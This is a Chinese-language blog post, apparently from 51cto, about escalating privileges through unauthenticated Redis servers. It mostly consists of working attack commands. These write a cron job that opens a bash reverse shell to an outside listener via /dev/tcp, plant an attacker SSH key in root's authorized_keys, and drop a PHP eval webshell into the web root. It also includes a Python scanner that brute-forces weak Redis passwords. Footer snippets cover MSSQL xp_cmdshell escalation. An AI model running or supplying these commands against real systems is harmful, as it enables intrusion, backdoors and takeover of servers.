首页 > 数据库 >redis提权——如果对方root运行,则容易中招,都是由于安全配置出问题导致

redis提权——如果对方root运行,则容易中招,都是由于安全配置出问题导致

时间:2023-08-02 21:37:23浏览次数:34  
标签:set socket config redis 192.168 提权 root

介绍:Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

提权:redis未授权访问从而进行权限提升

第一种:利用计划任务执行命令反弹shell

在redis以root权限运行时可以写crontab来执行命令反弹shell
先在自己的服务器上监听一个端口
nc -lvnp 4444然后执行命令:

redis-cli -h 192.168.2.6
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

这种写shell的方式好像不是通用的,自己只测试过centos!


第二种: 写ssh-keygen公钥登录服务器
在以下条件下,可以利用此方法
1、Redis服务使用root账号启动
2、服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

利用过程:

1、本地生成ssh密钥

ssh-keygen -t rsa

redis提权——如果对方root运行,则容易中招,都是由于安全配置出问题导致_redis

2、在存在未授权访问的目标机上进行以下操作,写入公钥

192.168.63.130:6379> config set dir /root/.ssh/
OK
192.168.63.130:6379> config set dbfilename authorized_keys
OK
192.168.63.130:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"
OK
192.168.63.130:6379> save
OK

3、进行连接

redis提权——如果对方root运行,则容易中招,都是由于安全配置出问题导致_安全分析_02


第三种:获取web服务的shell
当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell。
执行以下命令

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['caidao']);?>"
save

未授权检测代码:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r\n")
        result = s.recv(1024)
        if "redis_version" in result:
            return u"未授权访问"
        elif "Authentication" in result:
            for pass_ in PASSWORD_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s\r\n" %(pass_))
                result = s.recv(1024)
                if '+OK' in result:
                    return u"存在弱口令,密码:%s" % (pass_)
    except Exception, e:
        pass
if __name__ == '__main__':
    ip=sys.argv[1]
    port=sys.argv[2]
    print check(ip,port, timeout=10)


标签:set,socket,config,redis,192.168,提权,root
From: https://blog.51cto.com/u_11908275/6943176

相关文章

  • MSSQL提权之xp_cmdshell、SP_OACreate、沙盒提权
    在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权 首先 EXECsp_configure'showadvancedoptions',1;  RECONFIGUREWITHOVERRIDE;  EXECsp_configure'OleAutomationProcedures',1;  RECONFIGUREWITHOVERRIDE;  EXECsp_configure'showad......
  • MySQL提权之启动项提权——开机启动的程序,那时候启动的程序权限都是system
    关于MySQL的启动项提权,听其名知其意。就是将一段VBS脚本导入到 C:\DocumentsandSettings\AllUsers\「开始」菜单\程序\启动下,如果管理员重启了服务器,那么就会自动调用该脚本,并执行其中的用户添加及提权命令!这里有两种思路:1.如果 C:\DocumentsandSettings\AllUsers\「......
  • 运维——CentOS7 安装redis
    转自:https://www.cnblogs.com/Mr-xy/p/17055453.html 1.检查是否有redisyum源yuminstallredis2.下载fedora的epel仓库yuminstallepel-release3.安装redisyuminstallredis4.启动redis服务systemctlstartredis如果systemctl命令启动失败,则执行以下命令修改目......
  • nginx1.20-tomcat9-redisson集群,好像不怎么完善
    配置信息在同一台服务器上使用nginx做反向代理与两个tomcat组成简易tomcat集群使用nginx端口80tomcat1端口21005,21080,21009tomcat2端口22005,22080,22009配置过程1.先下载apache-tomcat-9.0.78,解压到两个目录,分别为tomcat1和tomcat2根据上方配置信息分别对两个目录中的......
  • Redis中Key中为什么要使用{}
    Redis集群介绍Redis集群是一个提供在多个Redis间节点间共享数据的程序集。Redis集群并不支持处理多个keys的命令,因为这需要在不同的节点间移动数据,从而达不到像Redis那样的性能,在高负载的情况下可能会导致不可预料的错误.Redis集群通过分区来提供一定程度的可用性,在实际......
  • Redis 常用命令
    连接redis-cli-h{server_ip}-p{port}-a{password}常用错误使用Jedis连接redis出现CannotgetJedisconnection;Couldnotgetaresourcefromthepool错误具体报错信息如下:org.springframework.beans.factory.BeanCreationException:Errorcreatingbeanwithname'ena......
  • SSH 使用 root 权限登录 Nas
    一、启用SSH服务转到Synology设备的终端设置页面:SynologyNAS:DSM控制面板>终端机和SNMP>终端机勾选启用SSH服务。指定SSH连接的端口号并保存设置。为了确保系统安全性,建议将默认端口22替换为其他端口号。 二、sshDSM/SRM管理员帐户@DSM/SRMIP地址-pSSH......
  • Linux su命令:su命令语法、su root与su - root区别、su与sudo区别、su -c 参数的使用理
    https://www.cnblogs.com/goloving/p/15150206.html Linuxsu(英文全拼:switchuser)命令用于变更为其他使用者的身份,除root外,需要键入该使用者的密码。使用权限:所有使用者。一、语法su[-fmp][-ccommand][-sshell][--help][--version][-][USER[ARG]]1、参数说......
  • Redis配置主从复制
    1概念主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master/leader),后者称为从节点(slave/follower);数据的复制是单向的,只能由主节点到从节点。Master以写为主,Slave以读为主;默认情况下,每台Redis服务器都是主节点;一个主节点可以有多个从节点(或没......
  • Redis的单线程设计之谜:高性能与简洁并存
    Redis作为一款高性能的内存数据库,以其出色的读写性能和多种数据结构支持而闻名。然而,与其他传统数据库不同,Redis采用了独特的单线程设计。在本文中,我们将揭开Redis单线程设计的奥秘,解释其为何能在单线程下实现高性能,并探讨适用场景与优势。1.Redis单线程模型Redis的单线程模型意味......